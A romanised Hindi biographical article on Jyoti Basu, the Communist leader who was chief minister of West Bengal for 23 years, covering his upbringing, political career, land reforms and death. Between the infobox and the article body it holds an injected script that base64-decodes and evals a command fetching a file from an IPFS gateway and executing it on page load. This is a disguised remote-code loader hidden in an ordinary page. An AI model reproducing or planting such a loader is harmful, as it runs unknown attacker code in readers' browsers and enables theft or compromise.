ज्योति बसु
jyoti basu
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| poora nam | jyotiandr nath basu |
| janm | 8 julaee, 1914 |
| janm bhoomi | kalakatta |
| mrityu | 17 janavari, 2010 |
| mrityu sthan | kolakata, pashchim bangal |
| nagarikata | bharatiy |
| parti | bharatiy kamyunist parti (marksavadi) |
| pad | mukhyamantri, pashchim bangal (lagatar 23 varsh) |
| kary kal | 21 joon, 1977 - 5 navanbar, 2000 |
| any janakari | jyoti basu ne pashchim bangal mean 23 varsh tak lagatar mukhyamantri rahakar sansadiy rajaniti mean vishesh khyati payi. |
| bahari k diyaan | jyoti basu |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>jyoti basu athava 'jyotiandr basu' (aangrezi: Jyotirindra Basu, janm- 8 julaee, 1914 kalakatta; mrityu- 17 janavari, 2010 kolakata) bharatiy kamyunist parti (marksavadi) ke agrani netaoan mean se ek the, jinhoanne pashchim bangal mean 23 varsh tak lagatar mukhyamantri rahakar sansadiy rajaniti mean vishesh khyati payi. bharat mean kamyunist rajaniti ko sthapit karane valoan mean se basu ek rahe.
jivan parichay
jyoti basu ka janm poorvi bangal (ab baangladesh mean) ke ek samriddh madhyavargiy parivar mean 8 julaee, 1914 ko hua tha. unhoanne kalakatta ke ek kaitholik skool aur seant jeviryas k aaulej se padhaee ki. vakalat ki padhaee basu ne landan mean ki. rajani pam datt jaise kamyunist netaoan se sanbandhoan ke chalate unhoanne 1930 mean kamyunist parti aauf iandiya ki sadasyata le li.[1] jyoti basu kitane purane haian yah isi se jana ja sakata hai ki ve kukhyat jaliyaanvala bag kaand ke paanch sal pahale paida hue the. unhoanne bharat mean lagatar kisi bhi rajy ka sabase lanbe samay tak mukhyamantri rahane ka rik aaurd bhi banaya hai. 1977 se 2000 tak ve bangal ke mukhyamantri rahe aur 1964 mean jab marksavadi kamyunist parti bani to ve usake polit byooro mean the aur 2008 mean svasth ke karan istipha diya. jyoti basu ka poora nam jyotiandr nath basu hai. pita ji baangladesh ke barodi gaanv dhaka zila se ae the aur d aauktar the. seant jeviyars aur presideansi k aaulej se 1935 mean grejuet hue jab aj ke maharathi marksavadi netaoan mean se zyadatar paida bhi nahian hue the. phir ianglaiand ge aur bairistar ban ge. bad mean bharatiy kamyunist parti banane vale bhoopesh gupta us samay british kamyunist parti ke sadasy the aur unhoanne hi jyoti basu ko k aaumared banaya. vakalat ki padhaee kar ke bharat 1940 mean laute jyoti basu bharatiy kamyunist parti ke phul taim k aaumared ho ge aur sabase pahale mazadoor sangathan chalae. [2]
rajanitik parichay
jyoti basu rel karmachariyoan ke aandolan mean shamil hone ke bad pahali bar mean ve charcha mean ae aur 1957 mean pashchim bangal vidhanasabha mean ve vipaksh ke neta chune ge. 1967 mean bani vam morche ke prabhutv vali sanyukt morcha sarakar mean jyoti basu ko grihamantri banaya gaya lekin naksalavadi aandolan ke chalate rajy mean rashtrapati shasan laga diya gaya aur vah sarakar gir gee. isake bad 1977 ke chunav mean jab vam morcha ko vidhanasabha mean poorn bahumat mila to jyoti basu mukhyamantri pad ke sarvamany ummidavar ke taur par ubhare. jyoti basu ke rajanitik kariyar par bahut qarib se nigah rakhane vale rajanitik vishleshak aur aangrezi akhabar 'teligraf' ke rajanitik sanpadak ashish chakravarti kahate haian, basu kamyunist kam aur vyavaharik adhik dikhate the, ek samajik prajataantrik. lekin unaki saphalata yah sanket deti hai ki samajik lokatantr ka to bhavishy hai lekin samyavad ka ab aur nahian.[1]
aitihasik mukhyamantri
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jyoti basu ne lagatar 23 sal tak pashchim bangal ke mukhyamantri ke roop mean kam kiya. jyoti basu ki sarakar ne rajy mean kee upalabdhiyaan darj kian jinamean pramukh hai naksalavadi aandolan se bangal mean paida huee asthirata ko rajanitik sthirata mean badalana. unaki sarakar ka ek aur ullekhaniy kam hai bhoomi sudhar, jo doosare rajyoan ke kisanoan ke lie aj bhi ek sapana hai. jyoti basu ki sarakar ne jamiandaroan aur sarakari kabze vali zaminoan ka maliqana haq qarib 10 lakh bhoomihin kisanoan ko de diya. is sarakar ne gramin kshetroan ki garibi door karane mean bhi kafi had tak saphalata paee. saphalata ke jhande ga dane vali basu sarakar ki kuchh kamiyaan bhi rahian. jaise ki vah bar-bar h datal karane vali tred yooniyanoan par koee lagam nahian laga paee, udyogoan mean jan nahian phooank paee aur videshi nivesh nahian akarshit kar paee. vahian jyoti basu ki yah sarakar karnatak aur aandhr pradesh ki sarakaroan ki tarah takaniki roop se daksh logoan ka upayog kar rajy mean soochana praudyogiki udyog bhi nahian kh da kar paee.[1]
nidhan
desh mean sabase lanbe samay tak kisi rajy ka mukhyamantri banane ka gaurav hasil karane vale jyoti basu ne 17 janavari, 2010 ko kolakata ke ek aspatal mean aantim saans lian. bharatiy rajanitik samaj naksalavadi vidroh mean unaki bhoomika ko aur sansadiy rajaniti mean marksavad ke aangad ke roop mean hamesha yad rakhega kyoanki unake kamoan aur vyaktitv ki tariph karean ya alochana in donoan bhoomikaoan ka zikr kiye bagair bat poori nahian ho payegi.
‘jab kabhi bhi lautakar un rahoan se gujareange ham
jit ke ye git kee-kee bar phir ham gayeange
bhool kaise payeange mitti tumhari sathiyoan
jarre-jarre mean tumhari hi samadhi payeange.’[3]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 jyoti basu:ek jananeta ka safar (hindi) (ech.ti.em.el) bi.bi.si hindi. abhigaman tithi: 7 march, 2011.
- ↑ akhiri saans tak k aaumared jyoti basu (hindi) (e.es.pi) janadesh. abhigaman tithi: 7 march, 2011.
- ↑ jyoti basu ko shraddhaanjali (hindi) (ech.ti.em.el) janajvar. abhigaman tithi: 7 march, 2011.
bahari k diyaan
sanbandhit lekh
| kramaank | rajy | mukhyamantri | tasvir | parti | padabhar grahan |
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